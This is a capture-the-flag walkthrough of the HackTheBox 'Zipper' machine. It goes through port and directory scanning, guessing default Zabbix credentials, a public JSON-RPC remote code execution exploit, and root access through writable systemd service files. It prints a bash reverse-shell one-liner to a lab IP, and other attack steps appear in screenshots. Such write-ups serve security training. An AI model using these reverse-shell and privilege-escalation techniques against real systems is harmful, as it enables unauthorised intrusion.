> For the complete documentation index, see [llms.txt](https://akshaydeepakshinde.gitbook.io/hackthebox-linux/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://akshaydeepakshinde.gitbook.io/hackthebox-linux/hackthebox-zipper.md).

# HackTheBox - Zipper

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcjbN3Z8HLTgsyxTiu%2F-MYcjhT4AjjE8e3Zx8IC%2Fimage.png?alt=media\&token=c0da0251-7699-49ef-a346-4399de586c62)

### Nmap scan results (Basic and all port)

```
nmap -sC -sV -oA nmap-zipper zipper.htb
nmap -A -T4 -p- -oA nmap-allport zipper.htb
```

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcjbN3Z8HLTgsyxTiu%2F-MYcmrnycsZliyx_Dg7a%2Fimage.png?alt=media\&token=7d0517f7-36cc-402d-abb3-d8cb530f87ee)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYcnwXCK2y4GuBtVqr0%2Fimage.png?alt=media\&token=a1011a2a-281d-42e4-8e53-033ff7ea1f1a)

### Directory scanning using gobuster

```
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://zipper.htb/ -o gobuster-dir-scan.out
```

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcjbN3Z8HLTgsyxTiu%2F-MYcnUgIF66ZZrq30fHG%2Fimage.png?alt=media\&token=c4df19c4-522d-4d0b-89ab-a26b9790c680)

After directory scanning, we can perform a extension based scan `(Extensions like php,html,bak,txt)`

{% hint style="info" %}
Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption.
{% endhint %}

### Zabbix is running at /zabbix

We can run a background subdomain enumeration scan using wfuzz and then proceed with this new zabbix directory found. There are a lot of known vulnerabilities present (`searchsploit` in Kali)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYcoLEpf0z0rclDnFKl%2Fimage.png?alt=media\&token=4f63ebbc-25ba-4c2d-986c-59046cebeefe)

Version Identified for Zabbix : **Zabbix 3.0.21**

**Known vulnerabilities for Zabbix 3.0.x**

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYcpSyRFFUaXhVRPJ3s%2Fimage.png?alt=media\&token=cd460c68-6ef3-4144-b8ec-7ca58e2ade9c)

### Guessing username and creds for Zabbix 

I tried `zipper:zipper`, then `zabbix:zabbix` and bunch of default usernames and passwords. Then I tried `zapper:zapper` and I got this unique error.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdDbRxC7hLpNHSoZVp%2Fimage.png?alt=media\&token=d78ea5f5-31c6-45cd-a7e1-02b44c74a9ea)

Looks like a valid set of credentials. Now that we have credentials, we can try that API JSON-RPC Exploit. Let's download and modify the script.

We need username, password and hostID to get RCE on the machine. Let's find the hostID.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdEXjCiDSeRolXdX6z%2Fimage.png?alt=media\&token=d492f8ee-1e7d-42fb-9188-e6538180ee53)

`Username: zapper , Password: zapper and HostID: 10106`

### Remote Code Execution with API JSON-RPC

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdErIgjw4Tzt6bh0ap%2Fimage.png?alt=media\&token=432035bf-4256-4c45-90ff-c3cfd3c0dc41)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdEywTMQ56FsKnAvjp%2Fimage.png?alt=media\&token=06d95af7-7229-42d7-a099-4a1f50d13967)

Now let's get a reverse shell.

```
bash -c "bash -i >& /dev/tcp/10.10.14.3/4444 0>&1"
```

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdFJgR_m4_7_BPQDXM%2Fimage.png?alt=media\&token=84258adf-665e-41db-be43-53301ccc4fde)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdFN9SJVFMPjGl4y-N%2Fimage.png?alt=media\&token=902b6ed5-0cf6-4449-b292-99c5b1c43679)

### Searching for MySQL passwords

Using find command to search all the files containing word "zabbix" in it.

```
find / -name "*zabbix*" -type f 2>/dev/null
```

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdf8cSpJh-cTJtwUky%2Fimage.png?alt=media\&token=820049c0-9dc7-432b-a97a-4c942f319280)

Got username and password for zabbix server's database. We are in a Docker Container.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdfXYqHJ3SnBFnFc_X%2Fimage.png?alt=media\&token=89c7dcea-add0-4c7e-bebc-b381198569b6)

We can use this credentials to connect to the MySQL database and then we try to get admin's password or change admin's password.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdg3owQK0Y8-IVzB10%2Fimage.png?alt=media\&token=5b222f86-f395-44a6-8c67-3684d706ae40)

Now we can access Admin Panel using our credentials. Using this we can try to access or even execute scripts on actual target machine.

### Admin Access on Zabbix (Pivoting)

We can now create a new script and perform Code Execution on the target computer. But we get the following error when trying to execute script on Zabbix's Agent.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdh7aGcazgKHioCXr_%2Fimage.png?alt=media\&token=a5789dc8-faf2-4347-bf78-797e857f6215)

We can fix this by going to Configuration -> Hosts and changing the host from `127.0.0.1` to `10.10.10.108`

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdhMg7zpY9A4VvYjzl%2Fimage.png?alt=media\&token=7e19aff9-39bb-4131-a241-58debd9623f1)

Update the file and create/edit the script for command execution. 

### Getting Reverse shell by using a malicious script

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdhjnr4hG_c_26MCNK%2Fimage.png?alt=media\&token=429dfa8a-5e91-486e-8e54-4664b0164166)

Then go to Monitoring -> Latest data and filter the results based on Zabbix servers.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdhxSpGABiA_NMnBa1%2Fimage.png?alt=media\&token=c30f372a-934c-484c-8d0e-398ebcd62a15)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdi3MKCQWMLDU4vkf3%2Fimage.png?alt=media\&token=fd0c7b0e-27d9-4ae9-aa24-41334fcbd4a9)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdiH7VSJbmtMGoXFT6%2Fimage.png?alt=media\&token=4bb7e278-ed4e-4afe-abcf-b16f373ff43b)

And we get a reverse shell as `zabbix` user.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdiRifG5_slRaErZA_%2Fimage.png?alt=media\&token=929e1a1b-7eb8-4a9a-9099-d116aa6ce19c)

### Privilege Escalation (Misconfigured Permissions on service/timer files)

There's a backup script running a 7z command using a password. Let's grab that password and try to change the user to zapper.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdiqitGLvYNogf0ZI9%2Fimage.png?alt=media\&token=00ce2991-3d07-4439-bdf4-77d3e10eb38d)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdizRVbp8qJo9dK-n2%2Fimage.png?alt=media\&token=79c567c4-6645-4911-9b02-99ed2b86dac5)

We have a file named zabbix-service having setuid permissions. After running `strings` on that binary, we get the following output.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdjQ4qt3SdH39N1NfF%2Fimage.png?alt=media\&token=04c60b04-fff1-42f9-ae29-da1b171e4b87)

So the script reloads the daemon and then starts `zabbix-agent service`. So let's keep that in mind and proceed.

Checking the /etc/systemd/system directory for `.service` files.

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdkQoiRVnrm0NRjXuU%2Fimage.png?alt=media\&token=c5338c80-a499-4cff-962c-53a65626ea4e)

We have read/write privileges on `purge-backups.service` and `purge-backups.timer` files.

We can exploit this. Check the following links for a detailed explanation.

```
https://null-byte.wonderhowto.com/how-to/create-service-files-with-systemd-0163062/
https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-service-files
```

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdlH7B3jtlpaY43ROC%2Fimage.png?alt=media\&token=da1fe998-b16c-41d1-a7e8-aa3ae508907a)

So after the daemon reloads and starts zabbix-agent.service, the /tmp/script.sh file will get executed and as this file contains a reverse shell, we will get root access (zabbix-service binary runs as root because of the setuid permissions)

`Note: First stop the service and then start it again`

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdmKzhEtX0sQnurnjw%2Fimage.png?alt=media\&token=6b010842-56b6-45aa-8312-7a19ef207baa)

![](https://1033785646-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXzdi_mbSkB5NqqwWVy%2F-MYcnrsvj5s-3Z-IuNB8%2F-MYdmQRakN3mBmOg8aki%2Fimage.png?alt=media\&token=0114e5ca-e0f6-4bcc-8a0f-c804a1f636fd)